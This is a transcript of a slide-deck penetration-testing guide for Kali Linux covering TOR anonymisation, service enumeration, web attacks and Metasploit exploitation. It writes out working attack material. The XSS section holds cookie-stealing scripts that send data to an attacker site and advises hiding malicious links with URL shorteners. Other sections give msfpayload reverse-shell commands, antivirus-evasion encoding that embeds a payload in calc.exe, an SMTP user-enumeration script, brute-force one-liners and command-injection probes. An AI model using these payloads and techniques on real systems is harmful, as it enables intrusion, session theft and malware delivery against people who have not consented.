penetration testing - black box type.

33
LUIGI CAPUZZELLO Penetration Test External Black Box Type Versione: 2.2 Luigi Capuzzello 15/09/2015 The document aims to analyze in detail the main phases of a penetration test, in particular: how to become silent, how to performe information gathering and service information gathering, how to find exploits and how you can actually use them. By the way … the platform used to perform the penetration test is Kali (not Kali 2.0 because at the moment it works but not perfectly). http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a http://www.slideshare.net/luigicapuzzello @FisherKasparov luigi.capuzzello

Transcript of penetration testing - black box type.

Page 1: penetration testing - black box type.

LUIGI CAPUZZELLO

Penetration Test External Black Box Type

Versione: 2.2

Luigi Capuzzello

15/09/2015

The document aims to analyze in detail the main phases of a penetration test, in particular: how to become silent, how to performe information gathering and service information gathering, how to find exploits and how you can actually use them.By the way … the platform used to perform the penetration test is Kali (not Kali 2.0 because at the moment it works but not perfectly).

http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a

http://www.slideshare.net/luigicapuzzello

@FisherKasparov

luigi.capuzzello

Page 2: penetration testing - black box type.

1

Luigi Capuzzello

SommarioLegal disclaimer...................................................................................................................................2How to become silent...........................................................................................................................3

TORtunnel: setup.............................................................................................................................4TORtunnel and nmap, hydra, sqlmap, firefox..................................................................................6

Information Gathering..........................................................................................................................7Service Information Gathering.............................................................................................................8

Nmap................................................................................................................................................8FTP (21)...........................................................................................................................................9DNS (53)........................................................................................................................................10SNMP (161)...................................................................................................................................11SMTP (25)......................................................................................................................................12SMB (139 - 445).............................................................................................................................13HTTP (80) (scanning delle reti)....................................................................................................14

Initial Fingerprint.......................................................................................................................14XSS: Cross Site Scripting...........................................................................................................17CSRF: Cross Site Reference Forgery.........................................................................................21Path Traversal Attack.................................................................................................................21SQL Injection: sqlmap................................................................................................................22

Search for Vulnerability.....................................................................................................................23nmap...............................................................................................................................................23openVAS........................................................................................................................................23Metasploit.......................................................................................................................................25

Exploit................................................................................................................................................27How to compile an exploit manually.............................................................................................27mspayload: crypt and decrypt shell................................................................................................27Cheat AV........................................................................................................................................28

Conclusion..........................................................................................................................................29

Page 3: penetration testing - black box type.

2Legal disclaimer

Luigi Capuzzello

Legal disclaimerUsage of this document for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Author assume no liability and are not responsible for any misuse or damage caused by this docuemnt.

Page 4: penetration testing - black box type.

3How to become silent.

Luigi Capuzzello

How to become silent.This step is strictly not necessary, but sometime you need to simulate a penetration test very close to reality so it becomes very important to implement this item.Anyway, if you decide to become silent you must implement it as your first activity.

Depending on the activity you want to perform, you can use different tools that allow you to maintain an effective anonymity. The anonymity level can change from weak to strong but it is never absolutely secure. In particular, you can use tools like:

Wingate HTTP proxy; SOCKS proxy (with a software like SocksCap to specify which IP, port and programs have to use SOCKS proxy); Proxy PHP; TOR VPN

I can also use iptables to drop all outgoing packets from my ip to the penetration test target.I can do this operation with a simple command:

#iptables -A OUTPUT --dest <target> -j DROP

Remember also that :

- if you want to see which roles I defined in the OUT chain you must use this command:#iptables –L OUTPUT

- if you want to empty the OUTPUT chain you must use this command:#iptables –F OUTPUT

In this document I will focus my attention to a particular software called TORtunnel.Using TORtunnel we will reach a low level of anonymity but we can make our test with a good speed, so I think it is the right balance.

Page 5: penetration testing - black box type.

4How to become silent.

Luigi Capuzzello

TORtunnel: setupActually Tortunnel is a partial onion proxy implementation that’s designed to build single-hop circuits through Tor exit nodes. This is useful in cases where you might want a very low level of anonymity, and don’t want to deal with the performance implications of using Tor’s full three-hop circuits.

If you want to use TORtunnel you must start installing also some other software#apt-get install   tor   vidalia   proxychains   privoxy   tor-geoipdb  nmap  libboost-system1.49.0

proxychains is a tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5. We must configure it just like that:$ nano /etc/proxychains.conf And modify it as follows:

[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4 127.0.0.1 9050socks5 127.0.0.1 5060

Now there is a problem with applications that use TOR network, when they need the IP address of the target, they send a DNS request which is untorified; so we send traffic in anonymous way but we send a clear DNS request.To solve this problem we need proxy which prevent DNS leaks.

Privoxy is a non-caching web proxy with advanced filtering capabilities for enhancing privacy, modifying web page data and HTTP headers, controlling access, and removing ads and other obnoxious Internet junk. Privoxy has a flexible configuration and can be customized to suit individual needs and tastes. It has application for both stand-alone systems and multi-user networks.

Once we have installed privoxy we need to configure it$ sudo nano /etc/privoxy/config

And modify it as follows:

# A rule that uses a SOCKS 4 gateway for all destinations but no# HTTP parent looks like this:## forward-socks4 / socks-gw.example.com:1080 .### To chain Privoxy and Tor, both running on the same system,# you would use something like:## forward-socks5 / 127.0.0.1:9050 . forward-socks5 / 127.0.0.1:5060

OK, at this point we can finally install TORtunnel.

$ cd /usr/src/$ wget http://www.thoughtcrime.org/software/tortunnel/tortunnel-0.3.tar.gz$ tar xvzf tortunnel-0.3.tar.gz$ cd tortunnel-0.3/$ ./configure$ make$ sudo make install

Once we have installed tortunnel we can use this command to open the gate to the tortunnel.#torproxy -p 5060 -r

Or you can force a specific tor exit node (maybe we it is much more faster than the other).#torproxy -p 5060 -n <ip of exit node>

By the way, To find a valid exit node you can open vidalia, click the network option and choose nodes with ipaddress in the rightside of the panel.

Page 6: penetration testing - black box type.

5How to become silent.

Luigi Capuzzello

Or if you are using a tor browser you can see some nodes from here.

Now we are ready.We have created a SOCKS proxy on 127.0.0.1:5060.All the packets send to that proxy will be send on TOR network and will arrive to the target with the excit noed IP.

Page 7: penetration testing - black box type.

6How to become silent.

Luigi Capuzzello

TORtunnel and nmap, hydra, sqlmap, firefoxOK we are actually read to make some test in silent state.If we want to make some information gathering on a particular <TARGET_IP>, we have to execute these simple instructions:

#iptables -A OUTPUT --dest <TARGET_IP> -j DROP

#torproxy -p 5060 -r[or also #torproxy -p 5060 -n <ip of exit node>]

And now I can use nmap for test the TCP port and fine the services version#proxychains nmap –sVT <TARGET_IP> -P0 -PN

Or I can use Hydra to test if a particular password is actually strong#proxychains hydra -V -l Administrator -P /pentest/passwords/wordlists/darkc0de.lst –v …

Or I can use sqlmap to test a possible sql injection on the <TARGET_IP> site. #proxychains python sqlmap.py -u "http://<TARGET_IP>/products.php?ID=10"

Or maybe we just want to see some HTTP pages on the target.#proxychains firefox

Page 8: penetration testing - black box type.

7Information Gathering.

Luigi Capuzzello

Information Gathering.As you know in this phase the main aim is to get as many information as possible about the target. This phase could seems boring (and actually it is very boring) but it is very important; if you complete this step correctly then you will definitely find something interesting about your target. Every bit of information could help us in finding break into the perimeter.Another very important thing you have to do in this phase is to organize all the information you got with great intelligence. The risk is only one but it is very dangerous: to drown in a sea of information.

We have many programs to achive our aim but I report just a few of them, just the ones I think are very usefull.

We are doing a black box penetration attack, so the goal is to simulate an external hacking, we have zero knowledge about our target, we have just an IP (I will call it <TARGET_IP>) or an IP range.

We can start making a reverse DNS query.We can do it simple with sites likes:http://www.yougetsignal.com/tools/web-sites-on-web-server/

If everything goes fine we will have one or more domains associated with our <TARGET_IP> (I will call it <TARGET_DOMAIN>)

We have to analyze all the <TARGET_DOMAIN> we found and we can use some google dork to get some more information about possible subdomain.

One very interesting google dork we can use is: site:<TARGET_DOMAIN> -site:www.<TARGET_DOMAIN>For examplesite:target.com –site:www.target.com

We can also get some more informatin about <TARGET_DOMAIN> using a specific program called dmitry:#dmitry <TARGET_DOMAIN>

Also theharvester is an interesting tool to get quickly some other information:# theharvester -d <TARGET_DOMAIN> -b <Data source (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)>For example:#theharvest –d target.com –b google

We can do DNSenumeration with some tools (dnsrecon, dnsenum and host)#dnsrecon d <TARGET_DOMAIN> -t axfr#dnsrecon d <TARGET_DOMAIN> -t std#dnsrecon d <TARGET_DOMAIN> -t goo#dnsrecon -t brt -D /usr/share/dnsrecon/namelist.txt -d <TARGET_DOMAIN>

#dnsenum <TARGET_DOMAIN>

#./fierce -dns <TARGET_DOMAIN>

#host –vt A <TARGET_DOMAIN>#host –vt MX <TARGET_DOMAIN>#host –vt SOA <TARGET_DOMAIN>#host –vt NS <TARGET_DOMAIN>#host –l <TARGET_DOMAIN> <server DNS>

You can also use auxiliary modules of metasploit framework to get some other information (please refer to metasploit chapter for more datails)

Page 9: penetration testing - black box type.

8Service Information Gathering

Luigi Capuzzello

Service Information GatheringThe purpose of this phase is to find the active services on the machines we found in the previous step.The master tool to achive this aim is nmap.

NmapNmap implement many interesting type of scanning.For example we can find all the machines active on an internal network:#nmap –sn 192.168.1.0/24 –oG outputfile

We can find all the TCP open ports, the version of the services and the file system of a specific machinery or of a specific network :# nmap –O –sV –sT –PN –T5 TARGET (SO e TCP)

We can do the same thing on UDP port, and we can specfy the more exploitable UPD services:# nmap -sU -PN -p69,123,161,1985,777,3306 -T5 <TARGET_IP>

69: tftp; 123: ntp; 161: snmp; 1985: hsrp; 777:.

There is a very simple option that implements many operation in a single step:# nmap –A <TARGET_IP>Nmap try to get as many information as possible about OS and services version; it also activate some scanning script to give us some other information.Please make attention with this command because it is not exactly a silent command.

This command is usefull to find all the IPs in a network with samba ports open:#nmap <IPs> --open

We can get samba open connection also with this command:#nbtscan <network range>

To get much accurate information about OS:#nmap –O#xprobe2 TARGET_IP

OK, if you follow me up to here you will have some notes with many information, ad above all some <TARGET_IPs> and for each of them we have found some ports open.Maybe behind the open ports there are intersting services.In the next phase we are looking to attack the most important services.

Page 10: penetration testing - black box type.

9Service Information Gathering

Luigi Capuzzello

FTP (21)You can try an anonymous access to FTP services

You can also try a brute force attack using hydra and john the ripper as dictionary source.#./john --incremental=all --stdout | xargs -L 1 hydra -V -l Administrator -v <TARGET_IP> ftp -f -t 1 -p

Make attetion please. A brute force attack is illegal and it is also not silent, so make sure you have the target authorization before start it.

Page 11: penetration testing - black box type.

10Service Information Gathering

Luigi Capuzzello

DNS (53).If you find that one of your <TARGET_IP> is a server DNS you can put these IP in resolv.conf file with#nano /etc/resolv.conf

Than you can try to resolv all <TARGET_IPs> with a simple script like this:

#!/bin/bashecho "insert the class C network"echo "example 192.168.11"read mynetwork

for myip in $(seq 1 254); dohost $mynetwork.$myip | grep "pointer" | cut -d " " -f1,5

done;

You can also try to make a full transfer zone with#host -l <TARGET_DOMAIN> <server DNS>#ls -d <TARGET_DOMAIN> (nslookup)

Having found a server DNS in our DOMAIN_TARGET we can make again a DNS enumeration (please refer to Information Gathering chapter)

Page 12: penetration testing - black box type.

11Service Information Gathering

Luigi Capuzzello

SNMP (161)Once you found <TARGET_IPs> with SNMP service active you can use onesixtyone program to get information about SNMP tree. For example you can use:# onesixtyone –c dict.txt –i ip.txt –o snmp.txt

Another very useful tool to get many information on a <TARGET_IP> with SNMP service active is snmpwalkFor example if you want generic info on a windows TARGET_IP you can use:# snmpwalk -c public –v1 TARGET_IP

To get info about windows user:# snmpwalk -c public –v1 TARGET_IP 1.3.6.1.4.1.77.1.2.25

To get info about windows active processes:# snmpwalk -c public –v1 TARGET_IP 1.3.6.1.2.1.25.4.2.1.2

To get info about TCP open port (on a windows machine):# snmpwalk -c public –v1 TARGET_IP 1.3.6.1.2.1.6.13.1.3

To get info about the installed software (on a windows machine):# snmpwalk -c public –v1 TARGET_IP 1.3.6.1.2.1.25.6.3.1.2

Page 13: penetration testing - black box type.

12Service Information Gathering

Luigi Capuzzello

SMTP (25)It could be very interesting to verify if an email is actually a valid one.We can use netCat to test our emal list:

# nc -nv 192.168.0.10 25VRFY muts550 5.1.1 muts... User unknownVRFY root250 2.1.5 root <[email protected]>

You can also automate the email test with a python script:#!/usr/bin/pythonimport socketimport sysimport fileinputimport array

if len(sys.argv) != 3:print "Usage: smtp_vrfy.py <server_list.txt> <name_list.txt>"sys.exit(0)

arrip=[]arrnomi=[]arrris=[]# Connect to the Server prelevato da filefor ipsrv in fileinput.input(sys.argv[1]):

arrip.append(ipsrv)

#Controllo ogni nome possibilefor nome in fileinput.input(sys.argv[2]):

arrnomi.append(nome)

for elnome in arrnomi:for elip in arrip:

print elnome + " " + elip

# Create a Sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)#print ipsrvconnect=s.connect((elip,25))## Recieve the bannerbanner=s.recv(1024)print banner## VRFY a user#s.send('VRFY ' + sys.argv[1] + '\r\n')s.send('HELO [email protected]\r\n')result=s.recv(1024)s.send('VRFY '+ elnome + '\r\n')result=s.recv(1024)

if result.find('250')>=0:#ho trovato qualche cosaprint "@@@?arrris.append(result)

print result## Close the sockets.close()print ""print ""print "================="

print "AT THE END"print "these are the results"for elris in arrris:

print elris

You can try to use pirana to get a reverse shell from an SMTP Server:# pirana –e 0..5 –h <TARGET_IP> –a <VALID_EMAIL_ADDRESS> –s 0 –l 1.2.3.4 –p 1234 –z –c 1 –d 1where:-e: try to use vulnerability attack from 0 to 5;-h: it is the smtp server;-a: it is a really emal address;-s: it is the reverse shell type you want to open. So you have to open (just before exceute pirana) a listener. In the above example you have to exceute something like#nc –lvp 1.2.3.4 1234-l: it is the machinery IP of the attacker;-p: it is the machinery Port of the attacker.

Page 14: penetration testing - black box type.

13Service Information Gathering

Luigi Capuzzello

SMB (139 - 445)If you find a machinery with SMB service and a null session active, you will gain many information (this condition is very difficoult to find from windows XP SP2 until now).For example you can use rpcclient program:# rpcclient -U “” <TARGET_IP>

If everything goes fine you can type these commands:1. help;2. srvinfo;3. enumdomusers;4. enumdomgroups;5. getdompwinfo;

To get all SMB information with one command, you can use: #enum4linux <TARGET_IP>

or you can use:#linux4enum <TARGET_IP>

You can also use nmap script to get information about:- OS

#nmap -v -p 139,445 --script=smb-os-discovery TRAGET_IP

- users#nmap -p 139,445 –script smb-enum-users TARGET_IP

- known vulnerabilities#nmap -v -p 139,445 --script=smb-check-vulns --script-args=unsafe=1 TARGET_IP

If you are a lacky guy you can try to connect to <TARGET_IP> and - explore folder and file,

- or you can upload and download file:#smbclient \\\\<TARGET_IP>\\cartella – U <USER>

o Get: per scaricare i fileo Put: per uplodare i file        

Page 15: penetration testing - black box type.

14Service Information Gathering

Luigi Capuzzello

HTTP (80) (scanning delle reti)It is very important to analyze WEB Service much more in detail then the others because it is one of the most common service used on internet. This service can be attacked at three levels:

- You can try to attack web server directly;- You can try to attack the web applications that run on that service;- You can try to attack the browser of the people who navigate into the target web server (client side attack).

Initial FingerprintYou can get this fingerprint with some software like httprint

#httprint -h http://<TARGET_IP>:80 -s signatures.txt -P0

or you can get the fingerprint manually with nc:

In this case you can make one more test (just in case of header tampering), for example you can change the http request and make a:GET / HTTP/3.0 GET / JUNK/1.0

As usual at this point we need to get as many information as possible.So if we found a web site we can search for file like:

1. Robots.txt 2. Sitemap.xml

which are located in the root folder of the site.

Page 16: penetration testing - black box type.

15Service Information Gathering

Luigi Capuzzello

Again using google you can get many interesting information.Please visit

- http://johnny.ihackstuff.com/ghdb/ - https://www.exploit-db.com/google-hacking-database/

to find the more useful Google dork you need.

To fire google dork on your target site insert this stringsite:<TARGET_DOMAIN>before the google dork you selected.

dirbusterdirbuster is a very interesting software to find, with a bruteforce attack combined with a site surfing, all the folder and the file of a target web site. The focus in this case is to find the web site surface attack.Dirbuster can also be executed with a proxy HTTP, then you can use it in conjunction with the TOR network

Page 17: penetration testing - black box type.

16Service Information Gathering

Luigi Capuzzello

Nikto.Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.#nikto.pl –update#nikto.pl –host TARGET

Attack surface.If automatic softwares are not able to find vulnerabilities you can use attack surface to find some interesting items. Our attack surface consists of :

1. all the pages with input parameters (with GET or POST HTTP methods);2. hidden folders;3. hidden pages;

you have to analyze all pages as well as possible and you have to look for:- persistent cookies ;- GET and POST fields;- hidden fields;- programmers notes;- login pages;- search pages;- static pages, such as .inc or .txt pages

You can try to inject many type of values in all the parameters you findvalues to inject Separator example|ls| %00;ls %0A|| whoami || ?(RFI) http://www.google.com ;/etc/passwd – file:///c:// &phpinfo;system(whoami);<pre><!--#exec cmd="ls " --></pre>Dati a caso‘

If programmers don’t check for all the input parameters on all the site pages, this can generate a break into the perimeter and if you break into the perimeter everything could happen.Each parameter can generate a particular type of attack.The most important attack can be here summarize:

- XSS- Path traversal attack- XSRF- SQL injection.

Page 18: penetration testing - black box type.

17Service Information Gathering

Luigi Capuzzello

XSS: Cross Site Scripting.XSS Allows an attacker to execute scripts in the victim's web browser. This attack is used to intercept user sessions, deface websites, insert hostile content, conduct phishing attacks, and take over the user's browser by using scripting malware.All web application frameworks are vulnerable to this exploit. The exploit typically uses HTML or JavaScript, but any scripting language, including VBScript, ActiveX, Java™, or Flash, supported by the victim's browser is a potential target for this attack.

XSS is caused when a website "reflects" code back to the user because it didn't recognize the code as something to run in the browser.

We can do many things with XSS but I focus my attention on three item:- BeEF;- Reverse shell with meterpreter;- Steal our victim cookies (so that we’ll became our victim);

1. BeEF:you can use BeEF to exploit XSS.BeEF is an XSS-exploiting framework that lets you "hook" or gain control of victim web browsers. In this part of XSS exploitation, we will be working onfinding an XSS-vulnerable website. We can simply do this by Google Dorking.

If you are using Kali, BeEF comes pre-installed.Once you execute BeEF you will see something like this:

You will need to know both of these addresses. The top one is for the browser-grabbing JavaScript file, and the second one is for accessing the web UI.So you can use the second http URL to access the web UI interface.The default credentials are beef for both the username and password

 At this point you have to inject the javascript BeEF has created for us (http://127.0.0.1:3000/hook.js) into a site with an XSS vulnerable page. For example you can create something like:http://victimsite.com/search.asp?query=<script type=text/javascript src=http://127.0.0.1:3000/hook.js ></script>

In order to "hook" their browser, we need to send them this link. But of course, this might seem suspicious to the average user. But if we were to use a URL shortener like bit.ly, it would be hidden, and more people would click on it on social media.Once someone clicks on that innocent-looking link, you will have complete control over their browser.

Page 19: penetration testing - black box type.

18Service Information Gathering

Luigi Capuzzello

Once the victim is hooked we need to make persistent our connection; to achive this aim we need you need to:1. select victim IP2. select command tab3. select persistent node tree and get the method you want

At this point we’ll get many information including session cookie, system information, etc.

2. Shell meterpreter.You can use meterpreter to create a reverse shell listener.For example you can create a windows/meterpreter/reverse_tcp listener

I can activate the reverse shell using- an executable file- a client side attack (like aurora)

If you want to create an exe file with a backdoor that activate our reverse shell, you need a command like:#msfpayload windows/shell/reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 J | msfencode -b "\x00\x0a\x0d\x20"

And you can send the executable file to the victim with somthing likehttp://victimsite.com/search.asp?query=<script>document.location="http://<ATTACKER_IP>/update.exe ";</script>I would recommend shortening this with Bit.ly.

Page 20: penetration testing - black box type.

19Service Information Gathering

Luigi Capuzzello

On the other side you can prepare a client side attack with metasploit and then send a script like this one to the victim:http://victimsite.com/search.asp?query=<iframe src=”http://192.168.0.128/aurora” height=”0” width=”0”>

3. Grab the cookiesWith a script like this you can grab victim cookies and send them to an attacker webpage that will do everything the attacker wants with that data.Cookies are very important because if an attacker steal yours cookies and injet them into his browser then he actually becomes you.

<script>var x;x=document.cookie;x=x.replace(/&/g,'__');document.location.replace('http://<ATTACKER_SITE>/googView.asp?w32='+x)</script>

And we can translate that script with this one, which is more confortable with http URL:<script>var%20x;x=document.cookie;x=x.replace(%2F%26%2Fg,%27%20__%27);document.location.replace('http://<ATTACKER_SITE>/googView.asp?w32='%2Bx)</script>

I can transalte the same script with an AJAX version:<script>var x;x=document.cookie;x=x.replace(/&/g,'__');var http;resource = 'http://<ATTACKER_SITE>/googView.asp?w32='+x;if(window.XMLHttpRequest){http = new XMLHttpRequest();} else if (window.ActiveXObject){http=new ActiveXObject("Msxml2.XMLHTTP");if (! http){http=new ActiveXObject("Microsoft.XMLHTTP");}}http.open("GET", resource, true);http.onreadystatechange = function(){if (http.readyState == 4) { var response = http.responseText;}};http.send(null);</script>

XSS Filter.There are many XSS filter that block XSS attack.When these filters are active, you will notice the sostitution of some characters with others.For example

&quot; in place of “&apos; in place of ‘&lt; in place of <&gt; in place of >&amp; in place of &(dec)&#97; in place of a(hex)&#x6a; in place of a…

I can try to cheat the filter with some tricks:

1. I can try to make a character conversion to hex. For example%3C%73%63%72%69%70%74%3E in place of <script>

2. I can use the function String.fromCharCode to transform ascii codes into characters <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

3. I can try to inject XSS code in different ways: <BODY onload="alert('XSS')">

<div onmouseover="alert('XSS');">esempio</div>

<iframe src="javascript:alert('XSS');" style="display:none">

<iframe style="display:none" src=javascript:void(document.location="http://<ATTACKER_SITE>/myxss.js")></iframe>

<SCRIPT SRC=http://<ATTACKER_SITE>/myxss.js></SCRIPT>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

<IFRAME SRC="javascript:alert('XSS');" hidden=truee></IFRAME>

Page 21: penetration testing - black box type.

20Service Information Gathering

Luigi Capuzzello

<EMBED SRC="http://<ATTACKER_SITE>/xss.swf" AllowScriptAccess="always"></EMBED>

Page 22: penetration testing - black box type.

21Service Information Gathering

Luigi Capuzzello

CSRF: Cross Site Reference Forgery.Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

If you want to implement a CSRF attack you must understand how a web page works; which parameters this page gets in input and what these parameters are used for.At the end of your works you must create a web url and send it to a target (a human one in this case).You can also inject the link into a page of the target site, for example you can use a page created to store information and then persuade the target to see that page.

OK here we are with some examples:

1. You can find a CSRF attack in a page simply with a GEThttp://www.target.com/changePWD.asp?user=luigi.capuzzello&newPass=strongPassword

2. You can find a CSRF attack in a page simply with a POST<form method="POST" id="googAnalyze" name="googAnalyze" action="http://www.target.com/admin/syGestionePWD.asp"><input type="hidden" name="AZIONE" value="MODIFICA"><input type="hidden" name="PWD" value="veryStrongPassword"><input type="hidden" name="ConfermaPWD" value="veryStrongPassword"></form><script>document.googAnalyze.submit();</script>

3. You can find a CSRF attack in a page that have a parameter that needs to be send with XML format.Suppose that we must inject an XML like<?xml version="1.0"?><methodCall><methodName><symbol>MSFT</symbol><units>20</units></methodName></methodCall></xml>

Here we have a problem. Because of the ‘=’ in the string (version=”1.0”) we can not insert the string directly into a POST or a GET request; but there is a little trick to bypass the problem.We can insert a part of the string into the name field and the rest in the value field, just like that:

<FORM NAME="buy" ENCTYPE="text/plain"action="http://localhost/buy.aspx"METHOD="POST"><input

type="hidden"name='<?xml version' value='"1.0"?><methodCall><methodName><symbol>MSFT</symbol><units>20</units></methodName></

methodCall>'></FORM><script>document.buy.submit();</script>

In this way I obtain something like: ‘<?xml version=”1.0”?>…’POST /trade/ajax-buy/buy.aspx HTTP/1.1……Content-Type: text/plainContent-Length: 111<?xml version="1.0"?><methodCall><methodName><symbol>MSFT</symbol><units>20</units></methodName></methodCall>

Path Traversal Attack.A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control.

If you find a page with a parameter that seems to be suspected, you can use a perl program to test that page.#perl dotdotpwn.pl -h <page suspected> -m <protocol HTTP | HTTPS | ...>

Page 23: penetration testing - black box type.

22Service Information Gathering

Luigi Capuzzello

SQL Injection: sqlmapA SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database.

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.Kali cames also with this software pre-installed.

You can update the software with:#sqlmap --update

You can test all the GET parameters with#sqlmap –u <http_url_page> --current-db

You can test all the POST parameters with#sqlmap.py -u <http_url_page> --data "saison=6&submit=OK" --current-dbYou can get all POST parameters to pass to “--data” using a proxy server like paros or burp suite (which is much more then a simple proxy http server).

If you find an sql injection you can complete your investigation.You can get all the databases #sqlmap –u <http_url_page> --dbs

You can get all the tables of a particolar database#sqlmap –u <http_url_page> –D <target_db> --tables

You can get all the data of a particolar table#sqlmap –u <http_url_page> –D <target_db> -T <target_table> --dump

You can also try to open a shell on the target site#sqlmap –u <http_url_page> --sql-shell

And there are much more interesting parameters you can use in your penetration test (please refer to sqlmap help).

Page 24: penetration testing - black box type.

23Search for Vulnerability

Luigi Capuzzello

Search for VulnerabilityA vulnerability is a hole or a weakness in the application or in a service, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of the application or the service.There are several free tools to find vulnerability such as: nmap, OpenVAS, metasploit.Once you find a vulnerability, you can try to exploit it to gain a shell code, or to gain an access to the database or to gain an access to the application.

nmapYou can try to find some vulneravility using nmap script.#nmap --script all <target>

openVASAlso openVAS is a very good tool to find vulnerabity.First of all you must set the tool using these two commands and answering the simple questions.#openvas-setup…#openvas-adduser

At this point you can start GUI interface with#gsd

OK, now to start a new analysis, you must create a new target.

And then you must define the task on that target.

Page 25: penetration testing - black box type.

24Search for Vulnerability

Luigi Capuzzello

Start the task and wait for the results.

Page 26: penetration testing - black box type.

25Search for Vulnerability

Luigi Capuzzello

MetasploitMetasploit is an open source attack framework first developed by H. D. Moore in 2003. Metasploit is used for hacking into systems for testing purposes. Metasploit provides useful information to people who perform penetration testing, IDS signature development, and exploit research. With the latest Metasploit 3.0 release, the project has moved to an all Ruby programming base.

You can use it during information gathering phase (with auxiliary modules) and in the exploitation phase (with exploit modules).

Before using it, you must start two service (on kali platform):

If you want to start these services always during the boot, you must execute these two command:

If you want to update all the framework modules, you must execute these two command:

cd /usr/share/metasploit-frameworkmsfupdate

if you get errors during the update you can try again with:

rm -rf /var/lib/apt/listsapt-get update apt-get install kali-archive-keyring

If you want to use it for testing you can start it with msfconsole#msfconsole

workspaceThen, for example, you can create a new workspace (for example ‘testLab’) and make an nmap scan to find target hosts and open ports.

msf > workspace –hmsf > workspace –a testLabmsf > db_nmap –T4 –A <IP TARGET>msf > hosts –hmsf > hostsmsf > services –hmsf > services

AuxiliaryYou can use auxiliary to get some more information about the target; it could be more useful make this search during information gathering or service information garhering phase.

msf > show auxiliarymsf > set <quello che voglio>msf > show oprions… setto le variabili che servono …msf > run

ExploitWhen you want to sercah and execute an exploit you should run these command:

- msf > search <PROTOCOL% (‘%’ is a jolly character)>

- msf > use exploit/windows/pop3/seattlelab_pass- msf > show options- msf > set RHOST 192.168.110.1

ormsf > setg RHOST 192.168.110.1

Page 27: penetration testing - black box type.

26Search for Vulnerability

Luigi Capuzzello

- msf > show payloads- msf exploit(ability_stor) > set PAYLOAD windows/meterpreter/reverse_tcp- msf exploit(ability_stor) > set LHOST 192.168.182.128- msf exploit(ability_stor) > set RHOST 192.168.182.129

By the way in choosing the payload you should get, if you find it, a staged payload. This type of payload may work better because it loads the payload in two trance. In the first trance it will be uploaded a small part of the payload and in the second it will be uploaded the rest; doing so you have two advantages:

- the payload is less recognizable by AV and - if you have little space for the buffer overflow you have more chance of success.

- msf exploit(ability_stor) > show targets- msf exploit(ability_stor) > set TARGET 0- msf exploit(ability_stor) > exploit

Page 28: penetration testing - black box type.

27Search for Vulnerability

Luigi Capuzzello

ExploitYou can find exploit on many sites.For example:http://www.securityfocus.comhttp://www.exploit-db.comhttp://www.inj3ct0r.com

How to compile an exploit manuallyMany times, you have to compile the exploit manually so, depending on the target OS you should compile your exploit with different commands:

- [TARGET LINUX]:# gcc -o ability 618.c

- [TARGET WIN]:# apt-get install mingw32# i586‐mingw32msvc‐gcc exploit.c ‐lws2_32 –o s.exe# wine exploit.exe

- [TARGET WIN] If you have a python exploit and you want it to execute on a windows machine, you can change it into an executable file. To make it you must follow these steps:

- install PyWin32 (for example on a windows manchine);- get the pyInstaller.py module and create the .exe file starting from the .py file.

python pyinstaller.py --onefile ms11-080.py- execute the file with

ms11-080.exe –O XP

- [TARGET WIN] you can also create your personal exploit and compile it:

mspayload: crypt and decrypt shellIf you want to create your own personal shell you can also use mspayload.

For example to create a reverse shell that bind to a local IP (10.0.0.4) on a particular port (443), you can use:#msfpayload windows/shell/reverse_tcp LHOST=10.0.0.4 EXITFUNCTION=thread LPORT=443 R | msfencode -b "\x00\x0a\x0d"

To create a Unicode shell to use on a web client attack, you can use#msfpayload windows/shell/reverse_tcp LHOST=192.168.30.5 LPORT=443 J | msfencode -b "\x00\x0a\x0d\x20"

By the way mspayload could be also used to decrypt an encoded shell.For example, if you find an hex shell you can find the plain text format quickly (\x2f\x73\x72 --> /usr/bin/…).# printf $(cat /tmp/fuck_shell.txt |tr -d '\n')

Cheat AVMore and more often AV system are able to detect malware, virus or, in general, suspect payload (https://www.virustotal.com/).

Page 29: penetration testing - black box type.

28Exploit

Luigi Capuzzello

This is a great thing but in our penetration test it could be very boring to have to deal with AV.To make it more difficoult for an AV to detect our payload we can use crypter, but well-known crypter are also recognized. For example this type of encoding is not actually working

#msfpayload windows/shell_reverse_tcp LHOST=192.168.10.5 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe -c 9 -x /usr/share/windows-binaries/calc.exe -o shell_reverse_msf_encoded_embedded.exe

You can try to divert AV using not well-known crypter such as Hyperion:

